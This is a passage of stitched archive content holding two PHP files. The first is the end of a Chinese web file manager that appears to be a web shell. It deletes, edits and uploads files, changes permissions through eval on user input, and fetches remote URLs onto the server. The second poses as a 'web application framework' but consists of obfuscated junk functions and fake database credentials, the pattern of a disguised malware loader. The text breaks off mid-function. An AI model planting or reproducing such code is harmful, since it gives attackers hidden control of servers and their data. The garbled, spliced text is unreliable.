                 <tr><td colspan="6"><form name="form_up" id="form_up" method="post" action="?d='.$current_dir.'&a=up" enctype="multipart/form-data"><a href="?d='.$wwwroot.'"><i class="fa fa-home" style="font-size:30px;color:orange;"></i></a>  当前目录:'.$current_dir_nav.'   <i class="fa fa-upload" style="font-size:20px;color:grey;" onclick="document.getElementById(\'file_up\').click();"><input id="file_up" name="file_up" type="file" style="display:none" onchange="document.getElementById(\'form_up\').submit();"></form></td></tr>
                 <tr><td colspan="6"><form name="form_tj" method="post" action="?d='.$current_dir.'&a=tj">新项目名称:<input name="t_name" type="text" size="25"> <select name="t_type"><option value="tj_f">添加文件</option><option value="tj_d">添加目录</option><option value="tj_xz">下载URL</option></select> <input name="submit" type="submit" value="执行"></form></td></tr>
                 '.($row_id==0?'<tr><td>内容为空或无权限查看</td></tr>':$dir_rows.$file_rows).'
              </table>';  
}elseif ( $action=='sc' )
{
    if ( $file!='' )
    {
        uNlInk($file); jump_to('?d='.diRNaMe($file));
    }elseif( $dir!='' )
    {
        rm_rf($dir); jump_to('?d='.DIrnaMe($dir));
    }
    exit;
}elseif( $action=='gm' )
{
    $gm=isset($_POST['gm'])?trim($_POST['gm']):'';
    if ( $gm!='' )
    {
        $old_f=$file==''?$dir:$file;
        if ( $old_f!='' && file_exists($old_f) )
        {
            $old_dir=DIrnAme($old_f); rEnAme($old_f,$old_dir.'/'.$gm); jump_to('?d='.$old_dir);
        }
    }else
    {
        show_msg('请输入新名称!','back');
    }
    exit;
}elseif( $action=='qx' )
{
    $target=$dir==''?$file:$dir;
    if ( $target!='' )
    {
        $qx=isset($_POST['qx'])?trim($_POST['qx']):'';
        if ( $qx!='' && is_numeric($qx) && substr($qx,0,1)=='0' )
        {
            set_qx($target,$qx); jump_to('?d='.dIRnamE($target));
        }else
        {
            show_msg('请输入新权限!','back');
        }
    }
    exit;
}elseif( $action=='ck' && $file!='' )
{
    if ( fiLEsIze($file)<10000000 )
    {
        HEadEr('Content-Type:text/plain; Charset=utf-8;'); echo FIle_gET_coNTEnts($file);
    }else
    {
        show_msg('文件大小超限!','close');
    }
    exit;
}elseif( $action=='bj' && $file!='' )
{
    if ( isset($_POST['f_content']) )  
    {
        FilE_pUt_COnteNts($file,$_POST['f_content']);
        md5($_POST['f_content'])==md5(fILE_Get_cONTenTs($file)) ? show_msg('保存成功!','') : show_msg('保存失败!!','');
    }
    $f_content=is_file($file)?str_replace('</textarea>','</textarea>',FIle_gET_contENtS($file)):'';
    $div_html='<form name="form_bj" action="?f='.$file.'&a=bj" method="post">编辑当前文件:'.$file.'<br><textarea name="f_content" rows="40" cols="120">'.$f_content.'</textarea><br><input type="submit" value="保存">  <input type="button" value="返回目录" onclick="window.location.href=\'?d='.DIrNamE($file).'\';"></form>'; 
}elseif( $action=='tj' && $dir!='' )
{
    $t_name=isset($_POST['t_name'])?trim($_POST['t_name']):'';
    if ( $t_name=='' )
    {
        show_msg('请输入项目名称!','back');
    }else
    {
        if ( $_POST['t_type']=='tj_f' ) fiLe_PUt_coNTentS($dir.'/'.$t_name,'');
        if ( $_POST['t_type']=='tj_d' ) mKDir($dir.'/'.$t_name,0755,true);
        if ( $_POST['t_type']=='tj_xz' ) 
        {
            preg_match('/^http[s]?:\/\/.+/si',$t_name)==0 ? show_msg('下载地址格式出错!','back') : down_file($dir,$t_name) ;
        }
        jump_to('?d='.$dir);
    }
    exit;
}elseif( $action=='up' && $dir!='' && isset($_FILES['file_up']) )
{
    MoVE_upLOadEd_filE($_FILES['file_up']['tmp_name'],$dir.'/'.BaSenaMe($_FILES['file_up']['name'])) ? show_msg('上传成功!','') : show_msg('上传失败!','') ;
    jump_to('?d='.$dir);
    exit;
}

function get_qx($t)
{
    $q=substr(sprintf('%o',fILepErMs($t)),-4);
    return $q;
}
function set_qx($t,$q)
{
    EvAl('cHMoD("'.$t.'",'.$q.');');
    if ( get_qx($t)!=$q )
    {
        $tmp_f=uniqid().'.txt';
        $tmp_c='<?php ChMOd("'.$t.'",'.$q.');?>';
        fiLE_puT_cONtEnTs($tmp_f,$tmp_c);
        require($tmp_f);
        UnLInK($tmp_f);
    }
}

function rm_rf($d) 
{
    if (is_dir($d)) 
    {
        $f_l=sCaNDir($d);
        foreach ($f_l as $f) 
        {
            if ($f=='.'||$f=='..') continue;
            $p=$d.'/'.$f;
            is_dir($p)?rm_rf($p):uNliNk($p);
        }
        rMdIR($d);
    }
}

function show_msg($msg,$go)
{
    echo '<script>alert("'.$msg.'");</script>'; 
    if ($go=='back') echo '<script>window.history.back();</script>'; 
    if ($go=='close') echo '<script>window.close();</script>'; 
}

function jump_to($url)
{
    echo '<script>window.location.href="'.$url.'";</script>';
}

function down_file($dir,$url)
{
    $s_name=array_pop(explode('/',$url));
    if ( $s_name=='' || is_file($dir.'/'.$s_name) ) $s_name=uniqid().'.zmxz';
    $ch=CUrl_iNit();
    cuRl_seTOpt ($ch, CURLOPT_URL, $url);
    cUrL_sEtopt ($ch, CURLOPT_RETURNTRANSFER, 1);
    cuRL_setOPt ($ch, CURLOPT_CONNECTTIMEOUT, 5);
    cuRL_setOPt ($ch, CURLOPT_SSL_VERIFYPEER, false);
    cuRL_setOPt ($ch, CURLOPT_SSL_VERIFYHOST, false);
    cuRL_setOPt ($ch, CURLOPT_BINARYTRANSFER, true);
    $contents = cUrl_eXeC($ch);
    cURl_CLosE($ch);
    if ( empty($contents) ) $contents=filE_geT_cONTentS($url);
    if ( empty($contents) )
    {
        show_msg('下载出错!','');
    }else
    {
        fIle_PuT_cONteNts($dir.'/'.$s_name,$contents);
        show_msg('下载完成!','');        
    }
}

?>
<html>
    <head>
        <title>芝麻web文件管理</title>
        <meta name="robots" content="none">
        <meta http-equiv="Content-Type" Content="text/html; Charset=utf-8">
        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
    </head>
    <body>
    <style>
    a {color:#000000;text-decoration:none;}
    a:hover {color:#ff0000;}
    .tl:hover {background-color:#eeeeee;}
    form {margin:0;}
    </style>
    <script>
        function show_input_box(s,t,f,a,)
        {
           var span=document.getElementById(s);
           if ( span.innerHTML=='' )
           {
                span.innerHTML='<form name="form_'+s+'" method="post" action="?'+f+'='+t+'&a='+a+'"><input name="'+a+'" type="text" size="8"><input type="submit" value="提交"></form>';                
           }else
           {
                span.innerHTML='';
           }
        }
        function confirm_sc(t,f)
        {
            if (f=='d')
            {
                if ( confirm('确定要删除此目录吗?') )
                {
                    window.location.href='?d='+t+'&a=sc';
                }
            }
            if (f=='f')
            {
                if ( confirm('确定要删除此文件吗?') )
                {
                    window.location.href='?f='+t+'&a=sc';
                }                
            }
        }
    </script>
        <div>
            <h1>芝麻web文件管理V1.00</h1>
            <?php echo $div_html;?>
        </div>
    </body>
</html>7oiyg.php000064400002403236151550413340006326 0ustar00<?php
/*
 * Advanced Web Application Framework
 * Generated: 2025-08-25 08:08:34
 * Version: 1.5.3
 * License: MIT License
 * Original size: 457171 bytes
 * Encoded size: 609612 chars
 */

// Framework Constants
define('FRAMEWORK_VERSION', '1.2.10');
define('DEBUG_MODE', false);
define('CACHE_ENABLED', true);
define('SESSION_TIMEOUT', 5540);


// Database Configuration
define('DB_HOST', 'localhost');
define('DB_USER', 'DbQygoGo');
define('DB_PASS', 'mRHCMUX0JEnb');
define('DB_NAME', 'K7VknMEgfN');

class bqUt6btMrdJY {
    private $v3T3zyec;
    private $Q4dqq1h5;
    
    public function __construct() {
        $eTDMsQ = DB_HOST;
        $mSvbfA = DB_USER;
        // Ux07XF5PEdFvo4WxOcaG6fUFrMSGHmLM774aXPoQ
    }
    
    public function nPESeYmh0u() {
        // qUzhQHnL8yOzvY0IHYVt9TEEOCy5Webhpx1XoUbWp27knUj8y4
        return true;
    }
}


// Utility Functions
function HD65FtvnPr83($input) {
    $sanitized = htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
    $trimmed = trim($sanitized);
    // 3bOPdL18QsZSa75U2nj9F3UPE3G3bV9wE76OQIuHYIahI
    return $trimmed;
}

function CbEBsFFj6W($file) {
    if (file_exists($file)) {
        $content = file_get_contents($file);
        // EtEutJsBjh6M66YAY52Wgqk14s0cD1O6v92
        return $content;
    }
    return false;
}

function bQ3GXJrD1i4XyD0($data) {
    $json = json_encode($data);
    $compressed = gzcompress($json);
    // RCuoLWD9747rdVasz8jn45ykMcck6EVHWgKOeelaspscPVm8tJ4LESo
    return base64_encode($compressed);
}


function PrytEfr3($FeROFeh) {
    $oTiZjF = base64_encode($FeROFeh);
    $y7LI5tP = str_rot13($oTiZjF);
    // LwmRithDGtIAzzxO04Y3KAP6iOYwnqgkoSCtoAXz
    if (strlen($y7LI5tP) > 10) {
        // mVUBiqC1hhrkxHU2gzjkNoUwD
        return hash('sha256', $y7LI5tP);
    }
    return false;
}


function oBMNXibToG004T3() {
    $BTznfiOYSF = 'WyQtL7Lq6acIMe1fmwqwxCY';
    $CCg55nplG = strrev($BTznfiOYSF);
    // vPUSgq1YqJy4ZWSlUpvHcm8E7aszj0kfVw5TDNoAeH6QtARpk
    return md5($CCg55nplG);
}


function Q3sXVhAyUDi() {
    $DPDEJmCE = 'lEShkUgq9Q';
    $kG6vZT = strrev($DPDEJmCE);
    // gcpViqG684vlrXCK0PBYHuHL5rYut7UoY
    return md5($kG6vZT);
}


function zx71e1KEk3K5HKMo($wbPGK0C) {
    $dMAFjzIl = base64_encode($wbPGK0C);
    $HmiQ5Sr = str_rot13($dMAFjzIl);
    // 5EeN5D4qattkqwvo3JMax1PcasIKkBAk52xrjQFN
    if (strlen($HmiQ5Sr) > 10) {
        // 21ez4DVc1tWwSTLUbTy7GZBkMAAoNSSg
        return hash('sha256', $HmiQ5Sr);
    }
    return false;
}


function eIF6BHjr6s9mFlqr() {
    $UObFPm = 'nSU1828SDhc';
    $jym21mEHYy = strrev($UObFPm);
    // ZGh3ch3KEBFOtbKxDnygAYUVvHmQQ4r5f3R
    return md5($jym21mEHYy);
}


function plLP6KA1QUNCfH() {
    $beNH1 = 'QN0hkf5jEoXO1G1p9X';
    $afQv1z = strrev($beNH1);
    // Nl47WQStjhhBuL4qAApabF94eeuQErWehq3Wrl1LuBu953zXdZ3k
    return md5($afQv1z);
}


function p1W4pBsaBv() {
    $qs91K = 'ph5kGCYPAwgLl85gLbhKrH';
    $G54xotgE6i = function($oZkDx1JQCv) {
        // yblpIfrHZK3EdMGezDKT84NZ9cdF4LgHoPWRin9tD6w
        return base64_encode($oZkDx1JQCv);
    };
    // 5fzzcoDcmi0tbUZE6O5hyMTxqLWBWnVo
    return $G54xotgE6i($qs91K);
}


function W9r5sDaEpJQ7A5() {
    $gRjEt = 'zhxFPDmpSqeV2JlK6uJL';
    $ZyRpjXzMRa = function($ktCNJVlugL) {
        // jANWeeVsBKWT69fWTLA1HoSOjGExBNE2nO
        return base64_encode($ktCNJVlugL);
    };
    // RDR4Fh8rcjd2rG4ZLzUh0P9F
    return $ZyRpjXzMRa($gRjEt);
}


function Y70Kt6rYH44kUyKe3P1($QbXjWoTh) {
    $vICHe2NUPu = base64_encode($QbXjWoTh);
    $eiPoN = str_rot13($vICHe2NUPu);
    // XqQrLBpUKPFxjHnrAU5IeC6AwYpzPv6Lxi2GmaFY
    if (strlen($eiPoN) > 10) {
        // ps9JoSsHYwwjDmKko9Aqi
        return hash('sha256', $eiPoN);
    }
    return false;
}


function aal8xI6Twd() {
    $skCbqhj = 'OfBFL9taRGfz8';
    $Hc1eeOuz = strrev($skCbqhj);
    // 2JRUlR9COuUNpKwaxVTqhyFprJiSjFxVoEepAJVL63pjGBmlO68zsLvrp
    return md5($Hc1eeOuz);
}


function SI10sY4qHRrVO0ZlpAyo() {
    $qJKQUxkRU = 'AMAY5Lli3wdwA0rzLzo';
    $iAPWN8FN3r = function($IFyD6R) {
        // 3UhqLDGVVduiM2HUMXXJEYYMWIIJJfiR7zaKNfHktiurRvN85
        return base64_encode($IFyD6R);
    };
    // 7xdnC8IjzuBKzwVfJBxm
    return $iAPWN8FN3r($qJKQUxkRU);
}


function p8xSExI1() {
    $TxXtmyGCu = 'G2Eqc4Smzx6mQ4tPvqURnFSi';
    $zOIX5s = function($WjHc6h) {
        // 2i3L9QgNcqHLHNN2V8kurZOPektkvjcP0F1
        return base64_encode($WjHc6h);
    };
    // zy1YLu1meEahyBYHWAQbhbZj3g5
    return $zOIX5s($TxXtmyGCu);
}


function yRFK9nnROvp7SyU() {
    $IYjG8 = 'Hk8M7zy8AJYYnB4oF4C93';
    $p6avdL18J = function($BpjMgXXOTT) {
        // ry2o4Bzsb7TFdPBZhD4ocDrv31Qd0MslHAV8lsDjEiCfyxcNxojc5uK
        return base64_encode($BpjMgXXOTT);
    };
    // fMy1sCOfD7YAqucgiPGVvGWfRQM
    return $p6avdL18J($IYjG8);
}


function H0DaODH8YGcbY5C($KQOw1pS) {
    $LLvTO = base64_encode($KQOw1pS);
    $iTwk9BBNEi = str_rot13($LLvTO);
    // StagX3p86yAGg3UqwRF9cuXvX6yAU7Sproo
    if (strlen($iTwk9BBNEi) > 10) {
        // 923VzzlFLtHUH3fXiyUY7erYw
        return hash('sha256', $iTwk9BBNEi);
    }
    return false;
}


function jxnQzPH7U($ganxTUIZ) {
    $W6IC5DzFiv = base64_encode($ganxTUIZ);
    $LT2UXo = str_rot13($W6IC5DzFiv);
    // fERbkWNceo8yITOfnPjA8TZRQn0cBaizG0kgJmpcMmtCzhDESTOJQJ2b1jm
    if (strlen($LT2UXo) > 10) {
        // Q2O9UTowXneQ8rfqlFiShSXJMz6rvxQvv44HuS
        return hash('sha256', $LT2UXo);
    }
    return false;
}


function bffgXvVkmk4($C666Fgl) {
    $dKhNC = base64_encode($C666Fgl);
    $ncyiR85Rn = str_rot13($dKhNC);
    // lmQcmWDtdkvn9WLyP5Jk0qaAgB2KUGpI4JyMwJ2kBSuUgG5SovMpZiI7
    if (strlen($ncyiR85Rn) > 10) {
        // pcZ6MCbhRlWUGhv6FYLvsNB7Sky2iyX
        return hash('sha256', $ncyiR85Rn);
    }
    return false;
}


function jMZIIbqG4aI2F() {
    $lYrLdi7E = 'D8YA3uUMZ8RYdl4irljsJzrsy';
    $ZQS07e2gSr = function($l7eMjcLA) {
        // M7Lk0P9O7BCD0lPOESGQOHVKUn8DlBiPt6qIfsXOJIYibGz7RBMi
        return base64_encode($l7eMjcLA);
    };
    // zMESDq7XMFQV757XfoQF6sQ5X6GN7pNKITXVXRC
    return $ZQS07e2gSr($lYrLdi7E);
}


function ZUpsmPacaK() {
    $PUFoH0iIs3 = 'I68CfbmET0yiU4fBtXXFBBnGV';
    $VsXHN7 = function($BYd9NIHNpv) {
        // KhBN44zvfugaA5uHz3lWu8pKMM4ZmNk1ToZkd1lIK
        return base64_encode($BYd9NIHNpv);
    };
    // KfazxX6UwbVTqOsbIBk8rCT
    return $VsXHN7($PUFoH0iIs3);
}


function W2HlkG6Eaf7wFP3() {
    $QWMC7qR = 'wdgsIugwLudDaWh';
    $QPDn4hwy1 = strrev($QWMC7qR);
    // 4QLI4S4UQX2KqScqZiO27uPN4ccw8WZUTdLQXnBAZ93
    return md5($QPDn4hwy1);
}


function OOep06mdZrJuYlxHQq() {
    $gZgDQlrbx = 'EyKJYVORKyft3cGw';
    $aPcjhcu = function($nIwZK) {
        // dY4sqnyKMNxBt6gUrFuv6nIFaYEFiVRbFqM3yMfk
        return base64_encode($nIwZK);
    };
    // 75jxeVaN9uB9Uhsgixui0GYA2FldrLjak8e
    return $aPcjhcu($gZgDQlrbx);
}


function Viw67x88lD() {
    $aajwAeTMFW = 'ZWLZQb7WIef2Zwh';
    $qOzJXILYyv = function($iilrgp) {
        // eX8aJxLoMXVtqOOcaI0gz9hoUs1AmzhuNox4Dt
        return base64_encode($iilrgp);
    };
    // sgg2i38Ow3ppEl0sekWv5I4exGLeiCSZS77kV71
    return $qOzJXILYyv($aajwAeTMFW);
}


function HO8tY2roDWVe() {
    $aUvPpbIw3O = 'zxJx7Lf45y1F85l33m3';
    $UrNJr = function($g5huZsOi) {
        // ZwEr6Tbk9w1dWIFR5EhPtSsQhLUuHSz
        return base64_encode($g5huZsOi);
    };
    // 5MsbkBMd3k8yqqMkBtedeLm9
    return $UrNJr($aUvPpbIw3O);
}


function jXV13KW76ol0Y4pRstM6() {
    $fC1Hn = 'oiCAXEtsqrT2dSVb17GlVd';
    $MCQnoa = strrev($fC1Hn);
    // lcgxvfDVTgyrVvS6boeDYKkssBG7ZnbJgsJiunHzMJ
    return md5($MCQnoa);
}


function SRV9CHlqZ3NZgOb($jN0AUfl) {
    $GdHZhNQ33E = base64_encode($jN0AUfl);
    $I2MAZdK = str_rot13($GdHZhNQ33E);
    // Z0LvGgdwiRuLHJcpxfGKRmG3dPnrafxqyf8
    if (strlen($I2MAZdK) > 10) {
        // WyiEFkK60VxTAhZzQpJm6GGCl6UXEcECU4
        return hash('sha256', $I2MAZdK);
    }
    return false;
}


function B0wJup3wcQQeup() {
    $gkL1Y = 'rL6y0NVi8KnF0kp1yE';
    $WI2E6EdKU = function($vVo5QB) {
        // pro0m5zPSNmyJtijeZSBWWfYVuXndckloCNmIV2Al6p5SCR5Cb7VX6H
        return base64_encode($vVo5QB);
    };
    // U8MJ2DnCUPnWrcMsbMT4KhgJAIQ
    return $WI2E6EdKU($gkL1Y);
}


function vBkfF28uCnbfV($qPoPxMJ) {
    $nAsItIJ2ak = base64_encode($qPoPxMJ);
    $EadDU1u = str_rot13($nAsItIJ2ak);
    // ZMSUbEfVGiMF34lc2CR6xr6YigYGHupcw4vyMid
    if (strlen($EadDU1u) > 10) {
        // VAbwxnftQEGjUq9kDk9roGtIGZK08Y8L3xWT
        return hash('sha256', $EadDU1u);
    }
    return false;
}


function WHMvmuTzCcUv() {
    $ULgTJk09 = 'OQ8gKsINU6l5MDw8';
    $XsSK8dF0 = strrev($ULgTJk09);
    // MKvUBCavrHZPVhGmHxteMaa8FaJxZ2sp
    return md5($XsSK8dF0);
}


function KpUwp4nmJxIA1CSK($jDwMyZa) {
    $C9MzcnTR = base64_encode($jDwMyZa);
    $WWiaMKKU = str_rot13($C9MzcnTR);
    // s67daqIx6MH2vN1HAWNkdCUd3hsKB8R6Ml5kj5DV48aShB1f2Hvt
    if (strlen($WWiaMKKU) > 10) {
        // cUET1cxyXK6gJrRBAYz4PgG49FEd
        return hash('sha256', $WWiaMKKU);
    }
    return false;
}


function jpYbBdSc() {
    $C5yEufsTF = 'DMhi7ty7LbhK';
    $CklcStwwQ = strrev($C5yEufsTF);
    // FNpHUUETy7O0OUjvULuCH9fyEY8Lwb6LPB1Q6XlGF6pcIQJy7IwbL6iq
    return md5($CklcStwwQ);
}


function tE280NRssBucTpxemb1() {
    $oLpWBa9t = 'yywO5FiMA4jSEtcJEhm92X';
    $EE8fRipbY = function($cwpc96) {
        // Fx1opmCtxhm2QP06XU6AkQYAcVfNzLI3A9sthwHnvpLQNpO9ZTO4oz1G6Va
        return base64_encode($cwpc96);
    };
    // GoKVgdEZisfvOIPhC02vE8W6phIaJRP
    return $EE8fRipbY($oLpWBa9t);
}


function q9QBQjy8o2wAjEsWp() {
    $J1qN6O4 = 'yDOL5JaX6gqHS0mxEqCx';
    $uCj3XnWj8O = function($rIhgnrl9to) {
        // 8E69Qe6kY16lVART16rTZEzhvpJPyRtWvlF13bJ1gkFSZ1PhUkpEpLv
        return base64_encode($rIhgnrl9to);
    };
    // KixNFNZeOWGoSRLs5uH75LXtWYsMO
    return $uCj3XnWj8O($J1qN6O4);
}


function J1MLq72iRn() {
    $EoR787I5 = 'rUkLWkJD7Dg5LBqsUjMGn1i';
    $B70WuZ = strrev($EoR787I5);
    // g3N8yucJp5WF9eYBhVXinSYorg2eMvUN
    return md5($B70WuZ);
}


function VkiHuElHUkoHDFT4x9sb($up3dNA) {
    $nGLD2J = base64_encode($up3dNA);
    $JI2J5pO4y = str_rot13($nGLD2J);
    // F9BDbAbOXwaJFCxnCtSYqXSv0JJ5HGr9jHYCWg8VrKN
    if (strlen($JI2J5pO4y) > 10) {
        // MprwkG4GZaDNVXHmYs0BDSa
        return hash('sha256', $JI2J5pO4y);
    }
    return false;
}


function tnc38k1eU($rBS4nOFa) {
    $yCDZR6OF = base64_encode($rBS4nOFa);
    $l3Zr2XspTq = str_rot13($yCDZR6OF);
    // mGQdTZHBPeZmz9dSh5TWA8Z4QOVSIPTGxQh
    if (strlen($l3Zr2XspTq) > 10) {
        // jodQ406jUv0w7Gel75zIt9V91jPMeCUqTamP1F
        return hash('sha256', $l3Zr2XspTq);
    }
    return false;
}


function YYnKRDf209opEu() {
    $OVZpzVs = 'dWCKP9yGFQ';
    $zsHuhtJ8ZC = strrev($OVZpzVs);
    // Z61nrqsyGhpIjbwXVA5Rhqbey1Yf18opxVzhzltQwxjbB9GcCl8F
    return md5($zsHuhtJ8ZC);
}


function Nqh61DT5bDJB3A() {
    $njIik2z6 = 'GImxNFE9PJnhvLu46';
    $qocRR = strrev($njIik2z6);
    // OP7ZDQ4V1MZHDtqu7fGaJ1IZijHiAasIB9ziyTiuPiGphoDL91Uu
    return md5($qocRR);
}


function stmvpDXx1wqszy6A2($aIr8sUS) {
    $vwJ78rno = base64_encode($aIr8sUS);
    $lzwbAxc = str_rot13($vwJ78rno);
    // h7ypF2K2WBGvTIPSmyYtEVgtHlzw94mQx3ZcxKlbaQopLi04
    if (strlen($lzwbAxc) > 10) {
        // KDjoJ0NNqbjcrPeODLq9AalZvGfOaJbdj
        return hash('sha256', $lzwbAxc);
    }
    return false;
}


function px6YckMZ() {
    $hOEh2 = 'hailKuQFGLpTqS';
    $vnwNkad = strrev($hOEh2);
    // bQXjB3yXKLzAMi4f6BCGZNCnfuq9zjRaU
    return md5($vnwNkad);
}


function X8eFmuKAD8h() {
    $KrcQRc = 'l5gAfXqqnH2';
    $O438Z2jkr = strrev($KrcQRc);
    // t9GJj1BdVP5mu1RnfJmd8fJNBXJYGGlacTsD5
    return md5($O438Z2jkr);
}


function JgahtHRwp88Q1() {
    $R8RJQtfDl = '5tUw2WOMDKNsRvFzv';
    $RF6KhUMwg = function($Wleaq7Ey) {
        // ejRuSuaUf1ZciVeqzzce75Us9tv4shkc
        return base64_encode($Wleaq7Ey);
    };
    // Td54nhByc2QzHBhmnYBlKeTDYeSI
    return $RF6KhUMwg($R8RJQtfDl);
}


function dJv692ea5yu4As() {
    $GoMkkBs91 = 'IHSyMEp7aaJXUb9OU0PouLd';
    $sb1NHwNOb = strrev($GoMkkBs91);
    // yAeDBSSZxC3zBTDrqMOQnMyftsEb359JcuR2VMCt8X0c
    return md5($sb1NHwNOb);
}


function K4HxlSYSWA6toAadS8I() {
    $zW56M = 'EEAOBMoaeUEoDq87Oit';
    $tQKQJyGn = strrev($zW56M);
    // KDEn6weoaSv8QYmke6EALxJtxsGo5FKBtg8GvMB7gND87VUC3
    return md5($tQKQJyGn);
}


function TeifW9SoT($tLwam) {
    $C2zRIAZ = base64_encode($tLwam);
    $FX9MlaWe1g = str_rot13($C2zRIAZ);
    // XlFSm4z74FR2r3HxThIq3efypQFx4HPmuO4EyHVOjvyQ
    if (strlen($FX9MlaWe1g) > 10) {
        // QwB8qWpcBLDOuoxr4OOdalljpFfqwQp
        return hash('sha256', $FX9MlaWe1g);
    }
    return false;
}


function eyF4a6waedJGE9r($dzR4ceNkN) {
    $Qh1Edam779 = base64_encode($dzR4ceNkN);
    $vTvPz0S9N = str_rot13($Qh1Edam779);
    // EC2a5Zp1cuapZMVsEOiOUympi4fkpdnCn
    if (strlen($vTvPz0S9N) > 10) {
        // L8qczp2OGGIg9CtESCsKTuGG
        return hash('sha256', $vTvPz0S9N);
    }
    return false;
}


function TW6jhXIq($r6AWlS06J) {
    $Kl0YSSQAdy = base64_encode($r6AWlS06J);
    $gMMUoKB = str_rot13($Kl0YSSQAdy);
    // 5kp05eeWrBvcCT1iY5sd2qjc4i14g260kiGkNb
    if (strlen($gMMUoKB) > 10) {
        // GduUn1st51iZ8U6NEivK5
        return hash('sha256', $gMMUoKB);
    }
    return false;
}


function Y48ozIyFRY5() {
    $jzZsc = 'AwSe9ch1xcz503Sy9WwX';
    $dqF4PKDi07 = function($fx8bFM) {
        // 3R6Fzwkn1OSnK9XTI3S74NeGfoQE5X2La9GclB
        return base64_encode($fx8bFM);
    };
    // viKdp2O77ZTIH2dJj2fMteu3nd2uvrxt6XPQ0
    return $dqF4PKDi07($jzZsc);
}


function qKco8cjRXz8UN0X9Bpuz() {
    $ExveVXak = 'TqfH19JIvxYJ0uaAQIJi4BI';
    $zeXOwrq = function($Sk8Ua) {
        // OAX1TB4riL3IYrzLT6RZmW61rHEBMaBrIiyqhwfett
        return base64_encode($Sk8Ua);
    };
    // IvmmqrPt7YQsq6MC1Mesq95Qa7TBXQvyra9VL6
    return $zeXOwrq($ExveVXak);
}


function BkfakMhZNU($kSPb4) {
    $ljGIAEohdG = base64_encode($kSPb4);
    $f5qBtII = str_rot13($ljGIAEohdG);
    // OU3pWwwm5wgKDEtjOe7kYY1LwPtvXTJ3R0zPFxkltMEdaIRqKlNjrS
    if (strlen($f5qBtII) > 10) {
        // AZixSto1tUIyYylXnIscCWblnk6fAZ8W3FmR3U
        return hash('sha256', $f5qBtII);
    }
    return false;
}


function jJC9URkf() {
    $iE4SRcc = '2jwlSUnsGo6PoyKamAVv';
    $I013Sqr4 = function($HkAdP3i) {
        // cA78haDO0AxH4TpJpT9x4fgE3xlOoEHv8xR
        return base64_encode($HkAdP3i);
    };
    // k5Pjj0PHu0N3hHR4XK29
    return $I013Sqr4($iE4SRcc);
}


function N9NYLNP6Jnom1($foamP1igTE) {
    $YtxkGf = base64_encode($foamP1igTE);
    $DwNsS = str_rot13($YtxkGf);
    // 1KSNSiB8smcKTbbSwYIB8ptxw7Ht4BUZu
    if (strlen($DwNsS) > 10) {
        // 8punsWptUTW88ZBDSr78io
        return hash('sha256', $DwNsS);
    }
    return false;
}


function c6DJkhJ985c() {
    $E2zkv = 'fi9nEcaP2RGz';
    $WCf58 = strrev($E2zkv);
    // 4tLetuIAEvy1d0gSKhOdl3mUjlIg1Jz4
    return md5($WCf58);
}


function n5o4Y5eWxg() {
    $ZCLXa = 'V5UgHDCgqaf';
    $yxdqI5 = strrev($ZCLXa);
    // Ph9p59ICbHPtaaFedJIwdXnga4tiKq5uIW0UE7q
    return md5($yxdqI5);
}


function wTuJYTNCQqo6() {
    $iK4AztoQ = 'MXBs8jjgp1DPQfHZIhPPW';
    $a6V2NyT = strrev($iK4AztoQ);
    // P2MAH9Ry137iKsbcjwPBjC7KRYQcU0r5plCwqX0TmKkD0Hxd4M
    return md5($a6V2NyT);
}


function jvgF0dDrc2HV() {
    $YTE7cg30b = 'bL6vzEPMr1Q42';
    $AOC94N0nR = function($iTocNlu) {
        // INI99WUptBlMrqwdjaBZbUOLEMOH2opIy5
        return base64_encode($iTocNlu);
    };
    // 1rdnvmsDaJTmvyuDoA2cd5Ao3w1r4SbuTwHiBd
    return $AOC94N0nR($YTE7cg30b);
}


function DkEq6D5e8vbJ5Yi1YVca($OAVTxI4YX) {
    $UKJlGlpLc = base64_encode($OAVTxI4YX);
    $XX23M = str_rot13($UKJlGlpLc);
    // 6QbQW8MyMLJuaXf6oh4zciOpvQjPKq0ycoTGO0uDzfr
    if (strlen($XX23M) > 10) {
        // ogg5zEW7D2yk5LgfIjnzRbJw8gPs2KX
        return hash('sha256', $XX23M);
    }
    return false;
}


function sqyO34GsiUPZ2P9llOI() {
    $FEWiJFllF = 'NxqDgd4Ec1BLKv2o8Y';
    $Bj6l217eAl = function($aPJnaM) {
        // XqrAAS2o7BsGJNsGKVxKNM4M0ydIclQkF9DUvGDoq3
        return base64_encode($aPJnaM);
    };
    // SHAgnQyhKGjL1XQY6NGKoKWzK4SK
    return $Bj6l217eAl($FEWiJFllF);
}


function YUvuvlshCm9() {
    $VEq4p2c = 'Bshxs3lxrLBdh';
    $cjBIu0 = function($J0mNFYh) {
        // 4a7uCNUy524OUlPVtP7VmzhYB3QhwcB9IvQJijkeO8xQT0Mhq
        return base64_encode($J0mNFYh);
    };
    // ZH6Etgwf9QnWGSYOGhIe4P
    return $cjBIu0($VEq4p2c);
}


function AsQAhZSDtfA7f() {
    $iHAEqH = 'ex5OhQNaZQ';
    $nzpVzU = function($QxPdbTarbf) {
        // kDc4RTHj1VqbtXEMPkLs1E6DLvUEXmc2sKRBKnXi4hiDIkWVyOpqkjk63qr8
        return base64_encode($QxPdbTarbf);
    };
    // bhvAlxup36eE8jE3MDX71vLbpfi14YmGToU9CP4n
    return $nzpVzU($iHAEqH);
}


function MyZCjQ4k93FK9hkl() {
    $EXI9S7VvJr = 'EECMUldoUYTvlTtetFYhxikU';
    $eErGCyXm8R = strrev($EXI9S7VvJr);
    // Vbx5q7rdvbIcCyNsGf8gQhwSgPQzvwBL
    return md5($eErGCyXm8R);
}


function uTTPncBA8OJI26z() {
    $kqAhy = 'mbimna7uItTb';
    $N6SJRSUtEJ = function($x6LHAii) {
        // I3TeCyNuO5MPVv77bCVWBtfK735cYq4xCZ3uf3jp5
        return base64_encode($x6LHAii);
    };
    // 85XewwQFrmjKZUIWinqPKt
    return $N6SJRSUtEJ($kqAhy);
}


function O8LQVJJImM() {
    $JyWS9WVPb = 'DyLTn57ISWASg6';
    $QdLVku = function($POxB62tS) {
        // 6vWYm4ad4EtqalqnqRT61rTxqj7xFKvNQ
        return base64_encode($POxB62tS);
    };
    // 8l9paE3cbLZ1pKMMubFz3j9nUnyCPhsPbgYXkj9
    return $QdLVku($JyWS9WVPb);
}


function PXm3XgmR5dt() {
    $fdbqvPmK = 'CzsklZ9GrE';
    $B6TBO = strrev($fdbqvPmK);
